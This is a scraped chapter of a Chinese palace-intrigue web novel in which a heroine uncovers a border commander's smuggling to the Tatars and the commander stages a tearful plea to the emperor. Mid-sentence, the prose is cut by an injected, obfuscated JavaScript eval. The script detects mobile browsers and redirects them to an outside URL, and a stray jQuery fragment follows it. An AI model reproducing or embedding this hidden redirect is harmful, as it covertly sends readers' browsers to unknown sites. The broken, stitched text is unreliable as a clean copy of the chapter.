第275章 情书?
作品:《嫡姐人淡如菊?我改嫁她相公!》 翌日,二月十九。
冰雪消尽,天上飘着一丝丝的雨线。
雨丝轻斜润春枝,沾湿窗棂带新绿,泥土混着嫩芽气息漫开。
王兴踏进翠华院,身上带着雨水的气息,混合着关外的风沙味。
“按照二姑娘的吩咐,在下让辽东的商号盘点了客户,还真的发现了有一客商,每个月都订大量的廉价香料。”
其实辽东皮草生意多,订廉价香料放置皮草中防潮去味是常见的。
不过发现的那客商有几点可疑,才让王兴的商号发现端倪。
那位客商的量是最大的,每个月预订的香料数十石,按照计算,这些香料如果都用来保护皮草运输,每个月的皮草占全大齐的一成。
可是秦明德的酒楼遍布大齐内陆诸多主要城池。
这酒楼里来往的都是天南地北的经商人、军人、富贵人士。
都是皮草的主要买主。
据他召集的各楼管事了解,却并没有发现大齐各处皮草有异常的大幅上涨。
那这位客商的皮草很可能没有卖到大齐,而是流向了关外。
于是王兴命人彻查了这位客商的来源。
不查不知道,一查吓一跳。
这位客商竟然是辽东总兵赵家大管事的远房表弟!
王兴顿时兴奋起来,命人格外留意,跟踪香料运输到指定地点的后续。
结果跟踪到了这批香料被秘密放入装皮草的马车后,竟然朝关外去了!
这些马车一路畅行无阻,关卡守卫根本不拦截。
王兴压低声音道:“二姑娘,这些皮草都送给了鞑靼啊!”
沈枝意早有揣测,倒也没有过多惊奇。
只是王兴居然又兴奋道:“瑞祥坊的人无法出关,可是在下留了个心眼子,在关口守着没有撤,二姑娘你猜我们发现了什么?”
沈枝意挑眉。
还有意外收获?
鞑靼皮草,赵拓……
沈枝意看着王兴兴奋的目光,心思电转,一个揣测浮上心头:
“……不会是,兵器吧?”
王兴满脸钦佩,“二姑娘怎么知道?”
沈枝意冷哼一声,指尖轻轻叩着桌面,眸色沉凝。
历朝历代帝王为何如此忌惮手握重兵的武将?
不惜以文抑武,设监军、分兵权,种种制衡手段层出不穷。
原因无他,只因这些权倾一方、深得军心的封疆大吏,一旦滋生异心,便是对皇权最直接、最致命的威胁。
他们远离中枢,掌控精锐,若再暗地里招兵买马、囤积粮草军械……便是足以动摇国本的祸根。
赵拓身为辽东总兵,戍边重将,若真与鞑靼暗通款曲,输送皮草以利鞑靼御寒或许尚可辩解为“怀柔”,但若涉及兵器铁器这等战略禁物,其心便昭然若揭——
他不仅在资敌,更可能在为自己积蓄力量。
那每月数十石的廉价香料,掩盖的恐怕正是打造私兵、武装暗中势力的铁证!
“王大哥,此事关系重大,切不可打草惊蛇。”沈枝意迅速收敛心神,沉声吩咐,“你立刻飞鸽传书辽东商号,令可信之人,不惜代价,继续暗中追踪这批‘皮草’的真正去向。”
“务必查清接收之人是谁,落脚何处,规模几何……还有,赵家管事及其‘远房表弟’的所有往来账目、人手调动,能挖多深挖多深,我需要确凿的证据链,而不仅仅是猜测。”
王兴神色一凛,郑重应下:“二姑娘放心,在下明白其中利害,定会小心行事。”
待王兴带着满身雨水气息匆匆离去,沈枝意铺开信笺,略一沉吟,提笔疾书。
将王兴所报疑点、香料与皮草流向关外、守卫异常放行、乃至兵器走私的推测,条分缕析,简明扼要写下。
末了,她笔尖顿了顿,添上一句:
“事涉边镇大将,牵连甚广,宜缓图细察,一击即中。辽东风急,望君珍重,静待佳音。”
她将信用火漆封好,唤来云锦:“你让随山速送内阁,亲手交给楚大人。”
此刻的楚慕聿并不在内阁值房。
养心殿内,气氛凝重。
御座上的明帝面沉如水,喜怒难辨。
下首,几位阁老眼观鼻鼻观心,神色各异。
而殿中央,辽东总兵赵拓竟只着中衣,背负荆棘,直挺挺跪在冰凉的金砖地上。
他虎目含泪,声如洪钟,又带着哽咽:
“陛下!末将有罪!”
“末将教女无方,致使小女顽劣,私自离家,下落不明!末将闻讯心急如焚,犹如烈火烹油,失了方寸,未得诏令便擅离防区,星夜入京!”
“此乃大不敬之罪,末将深知!但舐犊之情,难以自抑,求陛下看在末将多年戍边、未有寸功亦有苦劳的份上,请容末将先寻得小女,再行治罪!末将愿受任何责罚,绝无怨言!”
说着,竟然砰砰以额触地,情真意切,涕泪横流。
好一番“负荆请罪”!
哭诉的却是
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16915757|181962||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
爱女心切、情有可原。
既点明了自己戍边劳苦,又以亲情为盾,试图淡化“无诏入京”这足以问罪的重嫌。
几位阁老交换着眼神,有的面露同情,有的眉头紧锁,有的则眼底闪过讥诮。
赵拓这老狐狸,演得一手好戏。
楚慕聿静立一旁,月白常服衬得他面容愈发清冷如玉。
他指尖缓缓转动着拇指上的玉扳指,神色淡漠,仿佛眼前这出悲情戏码与他毫无干系。
只是那深邃眸光偶尔掠过赵拓微微颤抖的荆条和那“恳切”泪容时,会掠过一丝极淡的冰冷的了然。
明帝终于开口,声音听不出情绪:
“赵卿爱女之心,朕能体谅,只是边关重地,主帅岂可轻离?你女儿失踪,朕一直命楚爱卿日夜督查,他擅长邢律况且查不出蛛丝马迹,你亲自回京不是添乱么”
赵拓连忙道:“陛下明鉴!若小女是在别处出事,末将倒没那么忧心,这大齐还有谁敢对她不敬?可偏偏是这京城繁华处,权势滔天之人比比皆是,小女又是个耿直性子,得罪人了尚不自知……”
他悄悄抬头,眼睛恰到好处扫过楚慕聿。
对方面容清淡,对赵拓的话无动于衷,甚至扯起一抹嘲讽笑意,“赵总兵这话,言下之意,除了京师之地,大齐其他地方你可以为所欲为谁也不惧了?”
“不,小阁老误会了,末将不是这个意思。”
赵拓急忙低下头,在心里暗骂这个旧上峰比老狐狸还小狐狸。
“京师之地,非末将亲自前来,恐难周全……”赵拓岔开话题,“末将愿以项上人头担保,一旦找到小女,立刻返回辽东,绝不敢延误军务半分!求陛下开恩!”
他又重重磕下头去。
殿内陷入短暂的沉寂,只有赵拓压抑的抽泣声和荆条摩擦地面的细微声响。
所有人的目光,或明或暗,都聚焦在御座之上,等待天子的裁决。
就在这时,内侍探头探脑的伸头进来。
曹公公呵斥,“鬼头鬼脑的做什么!”
内侍道:“公公,随山侍卫有急件要呈交楚大人。”
曹公公脸色一变,“混账东西!圣上在这里,有什么急件能大过圣上的?你长脑子吗?”
内侍吓得浑身发抖,“可是,随山侍卫说小阁老有命令,沈二姑娘的情书,无论何时都要第一时间送到他手上……”
“情书?”明帝脸皮一抖,耳朵竖了起来,“情书?”

